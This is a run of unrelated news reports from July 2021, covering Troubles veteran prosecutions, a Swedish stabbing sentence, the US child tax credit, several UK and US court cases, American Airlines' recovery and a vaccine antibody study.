Seriously ill former Troubles soldier, 80, with only months to live could now avoid October trial A seriously ill former Troubles soldier set to stand trial in October over a disputed shooting could yet be saved by the Government's proposals, his lawyer suggested last night. Dennis Hutchings, 80, is accused of attempted murder in relation to the death of John Pat Cunningham in County Tyrone in 1974. Mr Cunningham, who had learning difficulties, was shot after failing to stop in response to soldiers' requests. Mr Hutchings is charged with attempted murder, rather than murder, as prosecutors cannot prove who fired the fatal shot. The former staff sergeant in the Life Guards has always maintained he fired warning shots into the air. It is understood the proposed statute of limitations will not assist those whose cases are currently before the courts as the Government will not interfere with the judiciary. As well as Mr Hutchings, another soldier has been charged with manslaughter in relation to a shooting in Northern Ireland in 1988. Convicted IRA member John Downey, named in a High Court ruling as participating in the 1982 Hyde Park bombing, has been charged with the murder of two soldiers in 1972. His case is also likely to proceed. But last night, Mr Hutchings' lawyer Philip Barden said his team would argue for a stay of proceedings for any legislation protecting veterans to come into effect. 'We would argue it would be unfair to continue to prosecute Mr Hutchings when a law comes in to bar other prosecutions and would invite the Public Prosecution Service [of Northern Ireland] to drop the prosecution in this case,' he said. Mr Hutchings has vowed to clear his name in court. Mr Cunningham's family have said he should face trial. The pensioner, of Cornwall, requires kidney dialysis three times each week and has heart problems. Doctors say he may only have months to live. Last night Mr Hutchings said: 'I was arrested six years ago and have been dragged over coals ever since. I was told there was new evidence but this has never, ever been produced. 'I think this legislation might have come too late for me but hopefully it will help the other ex-servicemen who have cases hanging over them. 'The Government have been spineless. We were sent to Northern Ireland to do a job then abandoned.' Advertisement

'But we've come to the view that this is the best and only way to facilitate an effective information retrieval and provision process, and the best way to help Northern Ireland move further along the road to reconciliation.

'It is in reality a painful recognition of the very reality of where we are.'

Speaking earlier during Prime Minister's Questions, Boris Johnson said: 'The people of Northern Ireland must, if we possibly can allow them to, move forwards now.

'(Sir Keir Starmer) will know that the proposals that have been brought forward ... are measured, they are balanced and they have a wide degree of support from former Labour prime ministers and former Labour leaders who have considerable more distinction, if I may say, than him.

'He will recall that it was under that Labour administration that many terrorists were unfortunately given effectively an amnesty, and they were allowed to escape the full consequences of their crimes and that is the reality.'

The Prime Minister added: 'The sad fact remains that there are many members of the armed services who continue to face the threat of vexatious prosecutions well into their 70s, 80s and later, and we're finally bringing forward a solution to this problem, to enable the province of Northern Ireland to draw a line under the Troubles, to enable the people of Northern Ireland to move forward.

'I think someone with greater statesmanship and clarity of vision would have seen that and given these proposals a fair wind.'

But the families of those killed by soldiers in west Belfast in 1971 have urged against a statute of limitations on Troubles prosecutions.

A fresh inquest into the deaths of a woman and nine men in Ballymurphy earlier this year found they were 'entirely innocent'.

A statement on behalf of the Ballymurphy families said: 'We see this as the British Government's cynical attempt to bring in an amnesty and a plan to bury its war crimes.

'These latest proposals to deny families Article 2-compliant investigations or access to due process of the law will not be tolerated and will be legally challenged.

'This proposed amnesty shows how low the British Government will go, it will help no-one, it is only being put forward for British veterans, they are the only reason they are rushing this through Parliament.'

More than 3,500 people died during the Northern Ireland Troubles, which stretched from the early 1970s to the Good Friday/Belfast Agreement in 1998, while tens of thousands more were injured.

But relatives of victims of the Birmingham pub bombings described the Government plans as 'obscene'.

Julie Hambleton, whose older sister Maxine was among 21 people killed in the 1974 blasts in Birmingham, has written to Prime Minister Boris Johnson on behalf of the Justice 4 The 21 campaign group to decry the planned legislation.

'Tell me Prime Minister, if one of your loved ones was blown up beyond recognition, where you were only able to identify your son or daughter by their fingernails because their face had been burned so severely from the blast and little of their remains were left intact, would you be so quick to agree to such obscene legislation being implemented?' Ms Hambleton asked.

Julie Hambleton, who lost her sister Maxine Hambleton in the 1974 attack, by the Birmingham pub bombings memorial

Firemen survey the damage, and look for survivors in the Mulberry Bush, after the Birmingham pub bombings.

Maxine Hambleton, 18, who died in the Birmingham pub bombings back in 1974

'You would do everything in your power to find the murderers and bring them to justice, which is exactly what we campaign for every day.'

The group queried the legislation's effectiveness at preventing potential acts of violence.

'How is this considered to be a deterrent for any future terrorist organisations?' Ms Hambleton said.

'What your government is proposing is that no matter what city terrorists decide to wreak death and destruction upon, do not worry because the British Government will let you walk away free without any fear of retribution of prosecution.'

Shadow secretary of state for Northern Ireland Louise Haigh said the Government had vowed to properly investigate the bombings.

'To tear up that pledge would be insulting, and to do so without the faintest hint of consultation with those who lost loved ones would be staggeringly insensitive,' the Labour MP said.

'The Prime Minister should look victims' families in the eye, and explain why he wants to close the book on their cases, and why they have been the last to be told about these proposals.'

Two bombs planted in the Mulberry Bush and Tavern in the Town pubs exploded on November 21 1974, killing 21 and injuring up to 220 more.

A flawed investigation by West Midlands Police into the 1974 bombings led to the wrongful convictions of the Birmingham Six.

Nobody has been brought to justice for the blasts despite years of campaigning led by Justice 4 The 21.

In 2019, an inquest found a botched IRA warning was responsible for the victims' unlawful killings.

However, the coronial process was described as 'unsatisfactory' by some of the bereaved, for not prompting criminal charges against any of the perpetrators.

In November 2020, a 65-year-old man was arrested in Belfast in connection with the bombings by officers from West Midlands Police assisted by the Police Service of Northern Ireland.

He was later released and the police investigation continues.

In March, Justice 4 The 21 called on Home Secretary Priti Patel to give a firm commitment within weeks on holding a public inquiry into their loved ones' deaths.
Tamim Sultani, 22, has been jailed for life in Sweden after stabbing seven people in March

An Afghan asylum-seeker has been jailed for life in Sweden after he stabbed seven people 'because he was so upset' by a man who said God did not exist.

Tamim Sultani, 22, was shot by police and arrested after an 18-minute rampage in Vetlanda, southern Sweden, on March 3.

Investigators who dismissed terrorism as a motive charged him with seven cases of attempted murder.

The Eksjo District Court said Sultani will be deported after serving his time. The life sentence, which does not have a fixed term, is the most severe punishment in Sweden.

Sultani attacked seven men with a 9-inch blade after a man he met on a park bench said God did not exist.

Three of the victims survived life-threatening injuries, two were seriously injured, two others were moderately injured and one individual was slightly hurt.

Police investigators work at the scene where a man attacked eight people with a 'sharp weapon' in the Swedish town of Vetlanda on March 3

Police initially said the attacker used an axe but it later transpired Sultani was armed with a knife.

In its verdict, the district court said Sultani used a kitchen knife that he had picked up at his apartment 'because he was so upset' about something blasphemous done to his god 'and wanted to kill that person.'

'Nothing has emerged that that Tamim Sultani in advance had any plan to injure or attempt to kill the seven plaintiffs in the case,' the court said, adding he didn't know the people he attacked.

The attack took place at around 3pm on March 3 in the small town of Vetlanda in southern Sweden

The court heard Sultani attacked his victims from behind or from the side, meaning they were unable to defend themselves or flee.

It also found that there was 'a concrete danger' that those attacked would die and that Sultani 'in all cases had directed violence against people's vital organs.'

Police chief Jonas Lindell told media they had identified five different crime scenes, a few hundred yards apart, in the small town of around 13,000 residents.

Lindell said the suspect was a resident of the area and previously known to police, but in the past had only been suspected of 'petty crimes.'

The court said 'it appears that he had avoided some schoolgirls' he met, noting Sultani had said he understood the teenage girls laughed at him but 'would be afraid of the knife, so he hid it' in his sleeve.

But, justifying the sentence, the court said each attack would 'probably entail physical or mental suffering for each of the victims for a long time.'

The attack was condemned by Prime Minister Stefan Lofven and Minister of the Interior Mikael Damberg, who called the rampage 'terrible.'

Police investigating at one of five crime scenes set up in the town after a 22-year-old Afghan asylum seeker went on a 18-minute rampage, injuring seven people

Sultani sought asylum in Sweden in 2016. During the trial, he said he hadn't managed to get a job and only managed to work in various internships.

When his temporary residence permit expired, he was no longer allowed to study or work. Sultani claimed he twice attempted to commit suicide a week before the knife attacks.

'It was as if the brain had stopped working. I felt very bad mentally,' he told the court, adding that he had wanted to go back to Afghanistan at the time of the attack.

A court-ordered psychiatric evaluation concluded that the man was not mentally disturbed at the time of the attack and was fit for a prison sentence.

During the trial in a high-security courtroom, he confessed to three of the attacks and said he does not remember the other four attacks but believes the victims' accounts.

In November 2020, he had applied for a renewal of his temporary staying permit and the immigration authorities haven't yet taken a decision.
On Thursday the Internal Revenue Service will begin delivering monthly installments of President Joe Biden's enhanced child tax credit to some 39 million American families.

The boost will see individuals who make under $75,000 and couples earning under $150,000 with children under six-years-old receive $3,600 per child, with monthly $300 checks starting to go out July 15.

The tax credits were part of the $1.9 trillion American Rescue Plan, which was passed by Congress in March with no Republican support. Republicans have argued that the child tax credit boost amounts to an expansion of the welfare state.

Biden will hold an event at the White House Thursday to mark the first payments going out.

'The president thought it was important to elevate this issue, to make sure people understand this is a benefit that will help them as we still work to recover from the pandemic and the economic downturn,' press secretary Jen Psaki said at Wednesday's briefing.

If those Americans have children between the ages of six and 17 they'll receive a $3,000 tax credit, receiving $250 a month starting Thursday.

On Thursday, the Internal Revenue Service will start delivering payments of President Joe Biden's enhanced child tax credit to some 39 million American families. Biden is pictured Tuesday speaking in Philadelphia, Pennsylvania

The American Rescue Plan, signed by President Joe Biden in March, allows child tax credits of up to $3,600 per year to be distributed in monthly payments instead of annually for children of couples who make under $150,000 annually or single parents earning up to $75,000

Individuals who make below $200,000 and couples making less than $400,000 are still eligible for the $2,000 child tax credit, the amount the credits were previously capped.

Parents will get half the credit they are eligible for in 2021, and will be able to claim the rest when completing this year's federal tax return early next year.

Cash will automatically start hitting the bank accounts of families who have filed 2019 and 2020 federal taxes.

Eligible families previously reclaimed the tax credit back when filing their annual taxes.

The initiative is intended to run for a year and is intended to lift millions of children out of poverty.

Biden has spoken of extending it to 2025 and hopes it could be made permanent.

Families with a single 'head of household' being paid up to $112,500 a year are also included.

There is no limit on the number of children parents will receive cash for.

Vice President Kamala Harris hailed the enhanced program while visiting a recreation center in Pittsburgh, Pennsylvania last month.

'When more families know about how they can get the relief, that is how we will be able to lift our children out of poverty,' Harris said.

The White House released explainers on how the new child tax credit would work when it was rolled out last month

Sam and Lee, who are a married couple making $100,000, would be eligible to receive $3,600 for their two children under six-years-old

Alex and Casey make $350,000 meaning they make too much money for the enhanced child tax credit, but can still receive $2,000 for each of their two children

Tim and Theresa didn't file taxes because their income is too low. They are, however, eligible for the child tax credit for their only child so they must use the IRS Non-filers sign-up tool to start receiving the monthly $300 payments

With the child tax credits, the administration launched a website with details for potential recipients.

The payments are to be made monthly, a first for the program.

People can register for the program even if they did not fully file their taxes.

Usually, tax breaks for Americans with kids and dependents come once a year, when individuals and families file their taxes.

'This tax cut will give our nation's hardworking families with children a little more breathing room when it comes to putting food on the table, paying the bills, and making ends meet,' Biden said when rolling out the program last month.

'Nearly every working family with children is going to feel this tax cut make a difference in their lives, and we need to spread the word so that all eligible families get the full credit,' the president continued.

The program is slated to expire after one year, though Biden has proposed extending it through 2025 with the ultimate goal of making it permanent.

The child tax credit payments, which will reach millions of American households, including 88 per cent of children in the country, could have a lasting impact in reducing childhood poverty and boosting future earning potential a White House official said.

The expanded credits could cost roughly $100 billion a year.

Estimates from the IRS suggest that 39 million households accounting for nearly 9 in 10 U.S. children are already set to receive the payments.

More than 65 million children nationwide  nearly 88 per cent of Americans under 17  are set to receive the benefits without their parents needing to take any additional action.

The IRS will determine eligibility based on the 2019 and 2020 tax years, but people will also be able to update their status through an online portal.
A Tory council chief has quit after being condemned for working from his holiday home in Panama - 5,000 miles away from his constituents.

Councillor Andrew Atkinson claimed he was on a 'working holiday' while 5,000 miles away in Central America and attending meetings virtually.

But Atkinson - who was lead member for the failing children's services at Wrexham Council in North Wales - now says he will step down next month.

Mr Atkinson, a former Conservative general election candidate, was accused of not dedicating himself to children's services department which is currently in special measures.

He will also step down as a ward councillor for Gresford.

He told an online council meeting: 'I have tendered my resignation as Lead Member for Children's Services and Councillor for Gresford effective as of the 31st of August 2021.

Andrew Atkinson has been attending Wrexham Council meetings from Central America

He has been performing his role from over 5,000 miles away in picturesque Panama

'I am giving this small amount of notice to ensure a smooth transition for the Children's Services department.

'I was brought in as Lead Member for Children's Services at a time of great challenge for the department and whilst there are many challenges ahead I have full confidence in the amazing team of officers that work so hard for our children and young people and it's been a pleasure to work alongside them.

'My ward work has seen many challenges but the strength of community spirit in Gresford is hard to beat and I wish to thank my residents for their kindness, support and friendship throughout my time as Councillor. I've done everything I can to give it my all.'

Mr Atkinson, who represents the Gresford ward, had been in Panama for more than a month before announcing his intention to quit.

Prime Minister Theresa May greeting once Tory candidate for Wrexham Andrew Atkinson

He had been accused of not being able to dedicate himself to his role by his predecessor, former Plaid Cymru Police and Crime Commissioner, Arfon Jones.

Mr Jones had previously called for Mr Atkinson to be stripped of the position, saying: 'I was lead member for children's social care at Wrexham Council from 2008/12.

'I considered it a full-time job even though it wasn't in special measures then.

'Now it's in special measures Hugh Jones (Conservative group leader) should appoint a new lead member who can give the scrutiny required to this important service.'

But Wrexham Council Leader Mark Pritchard thanked Mr Atkinson for his 'commitment and dedication' during his time on the council.

Mr Pritchard added: 'I'm sure that your constituents residents will be sad to see you leave because you've been a fantastic local elected member, and you'll be a big and a hard act to follow.

'But last not least I hope that your future hold well and yourself, your wife when your children are happy where you are when you emigrate.'
A U.S. Customs and Border Protection agent has pleading guilty to conspiracy to transport an undocumented migrant and admitted to accepting bribes.

Rodney Tolson Jr. admitted to accepting $400 per person while working with smugglers for two months in 2019.

It's unclear how much money Tolson received in total but it has been reported that Tolson helped in as many as six operations between February and March.

When Ronaldo Vidaurri Jr. was pulled over and caught smuggling five migrants in March 2019 he confessed to law enforcement that he was being aided by a border patrol agent.

According to a plea agreement filed this week, Vidarurri claimed that Tolson helped him cross the border with 'loads' of undocumented migrants.

A US border patrol agent has been charged after pleading guilty to conspiracy to transport an undocumented migrant in Texas

Rodney Tolson Jr. admitted to aiding smugglers in 2019 accepting $400 per person

The plea deal states that 'Tolson would call...and tell [the co-conspirator] which lane and time window to use for crossing through the checkpoint' while regularly assigned to Interstate Highway 35.

The co-conspirator turned on WhatsApp messages between him and Tolson. When the informant asked Tolson if he was ready to make some cash, the agent replied, 'U know it,'

In 2019, along with being turned in by the smugglers he was assisting Tolson was caught on surveillance video waving an unidentified smuggler through a border checkpoint.

Once Tolson began to suspect that Department of Homeland Security investigators were on to him he suggested the smugglers cross at distant ranches straddling the border, since he had keys to the gates and knew where the cameras were located.

Tolson had worked with the agency since 2008. He was arrested on May 21 and indicted by a grand jury before signing his plea deal on July 7.

He was charged with one count of conspiracy to transport and move a migrant who was in the U.S. illegally and two counts of transporting a migrant for monetary gain.

Tolson now faces up to 10 years in prison but it is unclear when he will be sentenced.

Tolson aided smugglers by directing them to checkpoints along his regularly assigned post on Interstate Highway 35

The 13 year CBP veteran pleaded guilty on July 7 and is now awaiting sentencing

In 2019, it was reported that criminal misconduct by US border officers was at a 5-year high according to internal US government reports. The arrest rate within the CBP that year was about five times higher than that of any other law enforcement agency.

The CBP has been struggling with internal criminal misconduct for years now.

A 2015 audit by the CBP integrity advisory panel discovered that arrests for corruption of CBP personnel far exceed, on a per capita basis, such arrests at other federal law enforcement agencies.
A father accused of murdering his 17-year-old stepdaughter has told a court his wife lied to police about phone messages when she reporting her missing.

Bernadette Walker was last seen alive on July 18 last year when Scott Walker - who she called her father but was not her biological father - collected her from her grandparents' house in Peterborough, Cambridge Crown Court heard.

The 17-year-old had earlier claimed that 51-year-old Scott had sexually abused her 'over a number of years', prosecutors said.

He allegedly killed her to 'prevent her pursuing her allegations of sexual abuse any further'. Her body has not been found despite police searches.

Scott is accused of forming an 'unholy alliance' with Bernadette's 38-year-old mother Sarah Walker to mislead investigators.

They sent messages from Bernadette's phone and social media accounts to claim that she ran away, Lisa Wilding QC, prosecuting, said.

Ms Wilding - cross-examining Scott on Wednesday - asked him about a telephone call that Sarah Walker made to police in the early hours of July 21 to report Bernadette missing.

Bernadette Walker was last seen alive on July 18 last year when Scott Walker, who she called her father but was not her biological father, collected her from her grandparents' house in Peterborough, Cambridge Crown Court heard

She told Scott: 'You knew full well, didn't you, Sarah Walker was lying to the police when she was describing messages sent from Bernadette's phone?'

He replied: 'I knew Sarah had Bernadette's phone, yes.'

Scott agreed with Ms Wilding that Sarah Walker 'was lying to the police and (he) knew that was a lie'.

The barrister added: 'When Sarah told police she knew where (Bernadette) was until she stopped messaging, that was a lie wasn't it?'

'Yes, because (Sarah Walker) was using the phone,' he replied.

He agreed that Sarah Walker did not know where Bernadette was, and that she lied to police when she said Bernadette had been messaging them until 1am on July 20.

Asked why police were not called sooner, he said it was due to Sarah Walker's 'fear of social services being involved'.

He denied a prosecution suggestion that he was 'deliberately vague with the police' and denied that he 'wanted to muddle this up for the police as much as possible to give them no hope of finding' Bernadette.

On Wednesday morning, with the jury present, Scott indicated that he did not wish to continue with his evidence, prompting a break in proceedings before he returned to the witness box.

Scott is accused of forming an 'unholy alliance' with Bernadette's 38-year-old mother Sarah Walker (pictured together) to mislead investigators

He said: 'I just want to apologise now and step down.'

Ms Wilding asked what he wished to apologise for, and he replied 'because I wish to stand down'.

He continued to answer questions from the prosecutor after a break.

Scott denies Bernadette's murder on or after July 18 last year. He denies four counts of perverting the course of justice.

Sarah denies two counts of perverting the course of justice 'knowing or believing' Bernadette to be dead.

She admits two counts of perverting the course of justice.

The trial continues.
A married detective sergeant has avoided jail after filming a naked woman in the shower on his phone and making the 'wholly absurd' claim that he was just looking for his razor.

Det Sgt Benjamin McNish, 30, held his mobile phone above the glass panel to record his victim as she undressed and washed on February 18, 2019, at a small flat in north London.

As soon as she spotted the phone, McNish pulled it away, then pointed it at her again, Southwark Crown Court heard.

The woman grabbed her towel, ran into the corridor and found startled McNish looking 'like a rabbit caught in the headlights.'

But the officer, who worked in the Sapphire Unit dealing with investigations into sexual offences, insisted to jurors he was trying to find his blue razor.

Det Sgt Benjamin McNish (pictured at Southwark Crown Court), 30, held his mobile phone above the glass panel to record his victim as she undressed and washed on February 18, 2019, at a small flat in north London

McNish was convicted of voyeurism at Southwark Crown Court after a four day trial last month.

Judge Jeffrey Pegden, QC, said McNish was a 'pretty experienced detective sergeant' at the time of the offence.

'You most certainly abused the duty of trust you had to her for the purposes of your own sexual gratification.

'I am further satisfied that your actions had a profound effect on her, causing her extreme anxiety, distress and alarm.

'She was deeply shocked, upset and angered and it is plain she will never forget these events.

'She remains feeling violated and angry that a police officer could behave like that when there are so many good police officers doing good work.

'At trial, you advanced what may be described as a wholly absurd defence.

'Mainly that you were using your phone as a sort of periscope so that you could see your razor.

'Your account was unanimously rejected by the jury, perfectly understandably so.'

As soon as she spotted the phone, McNish (pictured) pulled it away, then pointed it at her again, Southwark Crown Court heard

McNish was staying with the woman and one of his senior colleagues, Chief Inspector Garry Smith, at a small flat in north London, at the time of the offence.

The night before, McNish brought up showering arrangements for the next day and offered to use the bathroom before the woman.

The following morning the woman heard the shower in use and waited for her turn.

When she entered the shower and took off her pyjamas she looked up and spotted a phone poking above the glass panel, the court heard.

Giving evidence from behind a screen the woman broke down in tears as she told the court: 'I was confused, I was shocked. I was quite indignant that somebody would invade my privacy.'

William Eaglestone, prosecuting, told jurors: 'She did a double take and then the phone went away and then she saw it again.

'She grabbed her towel and ran into the corridor and found Mr McNish.'

Jurors heard McNish waved his arms up and down and told the woman to 'calm down' to not wake up his senior colleague.

Mr Eaglestone continued: 'She said ''are you f***** taking photos of me?'' He said, ''yes I did but I've deleted them'' or words to that effect.'

After hearing the commotion Chief Inspector Smith ran into the corridor and saw McNish gripping a phone.

Inspector Smith told jurors he heard McNish say he had taken pictures but quickly erased them.

McNish was arrested for voyeurism on the spot and interviewed at the police station.

Giving evidence McNish told the court he accidentally photographed the woman as he looked for his razor. 'The phone was up and I was trying to get the right angle..I was trying to see the razor.'

McNish said the door suddenly flung open, knocking his arm sidewards and causing him to take a blurred picture of the wooden door.

'I knew exactly how this would look, being stood there outside the bathroom with my phone in my hand. I felt panicked.'

McNish also claimed he had dyspraxia and for that reason had acted 'impulsively.'

The court heard McNish was 'doing quite well in his career' after working on child safety investigations.

He has also worked in the Sapphire Unit dealing with investigations into sexual offences.

McNish, of Benfleet, Essex, denied but was convicted of one count of voyeurism.

He was sentenced to 20 weeks jail suspended for two years and will take part in the Horizon programme for medium risk sex offenders.

Andrew Levin, from the CPS, said: 'Benjamin McNish was a serving policeman who observed a woman showering without her consent for his own sexual gratification.

'This was a private act that McNish had no right to observe. He violated the victim's privacy by spying on her in a bathroom. His actions were clearly illegal and wholly unacceptable.

'During the trial McNish claimed that he had just been using his phone to look for his razor by the sink, but the prosecution was able to prove to the jury that this was an absurd lie.

'The CPS will always aim to prosecute those who commit criminal acts, regardless of who they are, where there is the evidence to do so.'
After a 2020 in which American Airlines saw billions in losses, the company has gone from losing $100million a day at the worst of the pandemic to making $1million a day, according to a quarterly investor update on Tuesday.

Still, the nation's largest airline is projecting a $1.3billion operating loss for the entire second quarter period.

'While that is certainly a large loss, it is our smallest such loss since the start of the pandemic,' Chief Executive Officer Doug Parker said.

In 2020, the company saw a total operating loss of $10.4billion for the year.

Overall, however, the company expects to break roughly even thanks to $1.4billion in federal pandemic aid.

The aid does not count towards American's newly regained profits.

News of the turnaround saw shares of American, which have jumped nearly 27% in 2021, rise 2% to $20.43 in extended trade.

American Airlines' turnaround comes as people are returning to the skies, with the airline reporting 44million passengers for its second quarter. Travelers are seen lining up at O'Hare airport in Chicago on July 2

The company flew more than 44 million passengers in the first quarter, more than five times higher than last year, and forecast a daily cash build of $1 million for the period, ending it with more than $21 billion of total available liquidity.

'The improved liquidity is encouraging because it suggests that forward bookings are also strong,' Cowen analyst Helane Becker said.

'This suggests we turned the corner in the domestic market and we should see improving sequential quarter results.'

Earnings per share also have seen a steady improvement from a low of negative $7.82 at the worst of the pandemic to negative $4.32 at the end of the first quarter, with analysts projecting a near return to positive earnings by the end of 2021, according to Marketbeat.

While the analysts said it was an encouraging sign, it's still a far cry from 2019, when the company posted a $3.1billion profit.

News of the turnaround saw shares of American Airlines, which have jumped nearly 27% in 2021, rise 2% to $20.43 in extended trade

American still has a ways to go to return to the profitability it saw before the pandemic, with the company posting a total loss of $10.4billion for 2020

Earnings per share also have seen a steady improvement from a low of negative $7.82 at the worst of the pandemic to negative $4.32 at the end of the first quarter, with analysts projecting a near return to positive earnings by the end of 2021

Back then, however, the company did not report its daily profits.

American also said in a regulatory filing that it expects to report something between a loss of $35 million and a profit of $25 million for the second quarter. That includes the taxpayer-funded pandemic aid.

American's good news came as Delta Air Lines reported its first quarterly profit since the pandemic devastated the airline industry more than a year ago.

Delta said Wednesday that it earned $652million in the second quarter. However, Delta's report shows that airlines still face turbulence as they try to rebound from their worst year ever.

Without $1. billion in federal pandemic relief and other one-time events, the Atlanta airline would have posted an adjusted loss of $678million.

Even though crowds at the nation's airports are approaching 2019 levels, Delta's operating revenue is still only half of pre-pandemic levels.

And the company expects costs to rise as it rebuilds its operation, including hiring and training employees to handle the growing number of passengers.

'We still have a long ways to go,' CEO Ed Bastian said in an interview, 'but the business is in a much, much better place than it was 90 days ago. We posted a solid profit in the month of June, and it augurs well for where we're going this summer.'

Despite the turnaround, American is continuing to struggle to meet demand as it contends with a pilot shortage after furloughing 1,600 pilots during the pandemic

News of American Airlines' turnaround came as it struggled to meet surging travel demand amid a pilot shortage, and cut hundreds of flights in July.

Travel is rising, with 9.8million Americans flying between July 2 and July 6 - three times as many as in the same period last year. It was still 3million off the 12.5million who flew over the Fourth of July weekend in 2019.

But on July 5 alone American cut 82 flights amid the holiday weekend peak.

A spokesman for the Allied Pilots Association, the union which represents American's 15,000 pilots, told DailyMail.com in late June that the airline is suffering a major staffing shortage after furloughing 1,600 pilots during the pandemic.

American had scheduled around 5,800 flights a day through July, about 87 percent of its schedule for the same period in 2019, according to data from aviation researcher Cirium.

The issue is more flights being scheduled to meet passenger demand, without enough staff there to run them. Pilots say the problem lies with a lack of training.

'Many U.S. airlines are seeing increased flight demand and thanks to the Payroll Support Program, APA pilots are on the job and ready for takeoff.

'However, everyone has to do their part. Airline training departments must deal with increased flight schedules, and we believe that most should be able to predict and respond appropriately to retraining demands.

Travel is on the up, with 9.8million Americans flying between July 2nd and July 6th - three times as many as in the same period last year. It was still 3million off the 12.5million who flew over the Fourth of July weekend in 2019.

'We are actively working with the airlines to ensure that the investments made in our industry help fuel the economic recovery, continue to produce an adequate supply of highly-trained pilots and keep flying safe,' a spokesman for the Airline Pilots Association told DailyMail.com.

Not every airline laid-off staff in the pandemic. It was only American that furloughed pilots.

All of those pilots need to be retrained before they can fly again and that could take months.

Captain Dennis Tajer, who has been an American pilot for more than 20 years, told DailyMail.com last month: 'It's surreal. This time last year we were canceling flights because there weren't enough passengers.

'Now we're canceling flights because there aren't enough pilots.'
The family of an unarmed black man who was fatally shot by sheriff's deputies in North Carolina said he died because of officers' 'intentional and reckless disregard of his life,' according to a $30 million civil rights lawsuit filed Wednesday.

Andrew Brown Jr., 42, was killed April 21 by Pasquotank County Sheriff's deputies while they were serving drug-related warrants at his Elizabeth City home.

Andrew Brown Jr, 42, was killed April 21 by Pasquotank County Sheriff's deputies while they were serving drug-related warrants at his Elizabeth City home

Several deputies, all of whom were cleared of any wrongdoing by District Attorney Andrew Womble in May, surrounded Brown in his BMW before his car backed up and moved forward. They fired several shots at his vehicle, killing him with a bullet to the back of his head.

Lawyers for the Brown family, who in May were shown 20 minutes of about two hours of bodycam footage from the fatal shooting, said it was unjustified because Brown was trying to drive away - not toward - the deputies.

'This lawsuit was easy to draft because of the facts in this case,' attorney Harry Daniels told reporters at a news conference.

'Anybody can see that this was an unlawful killing.'

The filing is the latest in a string of federal civil rights lawsuits in the wake of high-profile police shootings of Black and brown people. Many have ended in settlements that often include money, but no admission of guilt.

Some end up in court where a jury can award massive settlements that are whittled down on appeal.

Several deputies surrounded Brown in his BMW before his car backed up and moved forward. They fired several shots at and into his vehicle, killing him with a bullet to the back of his head

Andrew Brown Jr.'s family was shown just 20 minutes from two hours of bodycam footage of his fatal shooting by North Carolina, a judge ruled in May

The Rev. Al Sharpton speaks during the funeral for Andrew Brown Jr., at Fountain of Life Church in Elizabeth City, North Carolina

In September, the city of Louisville, Kentucky, agreed to pay Breonna Taylor's family $12 million and reform police practices.

Taylor, a 26-year-old emergency room tech, was shot during an undercover drug raid at her apartment after her boyfriend, Kenneth Walker, opened fire on the officers, saying that he thought they were intruders.

The family of George Floyd, who was killed in Minneapolis while in police custody last year, agreed to a $27 million settlement in March.

'On May 25, 2020, (Officer Derek) Chauvin held his left knee across Mr. Floyd's neck, and his right knee on Floyd's back and arm, as George Floyd lay on the ground, handcuffed and unresisting, and kept his knees on Mr. Floyd's neck and body even after Mr. Floyd became unresponsive,' said the Floyd indictment, which contained three counts relating to his death.

Brown's death came just one day after Chauvin was found guilty of Floyd's murder.

The lawsuit in North Carolina was filed in U.S. District Court by Brown's paternal aunt, Lillie Brown Clark, the administrator for his estate.

The suit says Brown was the father of seven children, with another three non-biological children having also been in his care.

Defendants include Pasquotank County Sheriff Tommy Wooten II and several deputies.

Maj. Aaron Wallio told The Associated Press in an email that Wooten's office 'has no comments on the lawsuit.'

Attorneys for Brown's family have repeatedly said that he posed no threat. Authorities said he was using his car as a 'deadly weapon' and caused deputies to believe it was necessary to use deadly force.

A Mail Online exclusive revealed in May that he previously was charged with 100 crimes over a period of three decades, doing eight stints in jail, and had a history of violent confrontations with police - including a 2016 incident when he was tasered by officers.

Family members react during the funeral for Andrew Brown Jr. on May 3 at Fountain of Life Church in Elizabeth City

Brown Jr.'s car, following a police-involved shooting in Elizabeth City, N.C., is removed from the scene

In two of those instances he was accused of using his car to flee, foreshadowing the deadly April 21 encounter when he was shot in the back of the neck while apparently trying to drive away from deputies executing a drug-related search warrant.

Meanwhile, Womble said the deputies were justified because Brown had struck an officer with his car and nearly ran him over while ignoring commands to show his hands and get out of the vehicle.

At the time of his death, he was facing another possibly lengthy jail stint relating to a November 2020 arrest for allegedly selling fentanyl or heroin from a motel.

Grieving family members said Brown was unarmed and have labeled his death - the latest in a series of high-profile, deadly encounters between cops and African Americans - an 'execution'.

The federal lawsuit is the latest fallout from the shooting, which has sent shockwaves through the small city in northeastern North Carolina.

Residents say they have gathered in protest for the past 85 days. One of the deputies who fired his gun at Brown's car has resigned. The FBI also launched a civil rights investigation into the death.

The shooting drew scrutiny from outside law enforcement observers who said officers should not shoot at a vehicle when there is no other deadly threat besides the car.

Daniels, the Brown family attorney, said the lawsuit will prevail based on decisions made in the federal 4th Circuit Court of Appeals, which covers North Carolina. He cited a ruling against police officers in South Carolina who continued to shoot at a man after his car had driven by them.

'They had no authority to shoot him,' Daniels said.

Andrew Brown Jr.'s son Khalil Ferebee speaks as attorneys for the family of Andrew Brown Jr. hold a press conference back in April

Demonstrators march April 28 from Mt. Lebanon AME Zion Church in Elizabeth City, NC, to the site where Andrew Brown Jr. was shot and killed by Pasquotank County Sheriff deputies

But Candace McCoy, a professor at John Jay College of Criminal Justice, questioned whether the Brown lawsuit would produce a large settlement or jury award.

'You could make a good case that, in this particular instance, somebody's life was in danger,' McCoy said.

She added that the Floyd and Taylor cases were 'light years different' from the Brown case in terms of police misconduct.

But McCoy said the overall effect of these civil rights lawsuits has led to more training and better practices. The lawsuits stem from a 1980 U.S. Supreme Court decision that allows people to sue departments over alleged constitutional violations.

'The effect of these lawsuits has been really important in reducing police use of force nationwide over the last 40 years,' she said.
Elderly Britons given AstraZeneca's vaccine are less likely to have Covid antibodies than those who had Pfizer's, a study has suggested.

Imperial College London researchers found fewer than 85 per cent of over-80s had detectable levels of the virus-fighting proteins two weeks after their second AZ jab.

By contrast, the proportion of over-80s with antibodies after getting the second Pfizer vaccine was almost 98 per cent.

The findings came from Britain's largest surveillance study, known as REACT-2, which randomly tests blood samples from hundreds of thousands of Britons.

Although antibodies are just one part of the overall immune response to Covid, experts said the study results were not totally surprising.

Professor Ian Jones, a virologist at Reading University, told MailOnline the British jab was less likely to spark immunity because it relied on a weakened cold virus.

In some cases the body may attack this virus instead of the Covid proteins on its surface, which results in the jab failing to spark Covid immunity, he said. But Pfizer's jab does not have this problem because it uses a completely different technology.

In trials of the jabs, AstraZeneca's vaccine was also found to be slightly weaker at preventing symptomatic Covid infection.

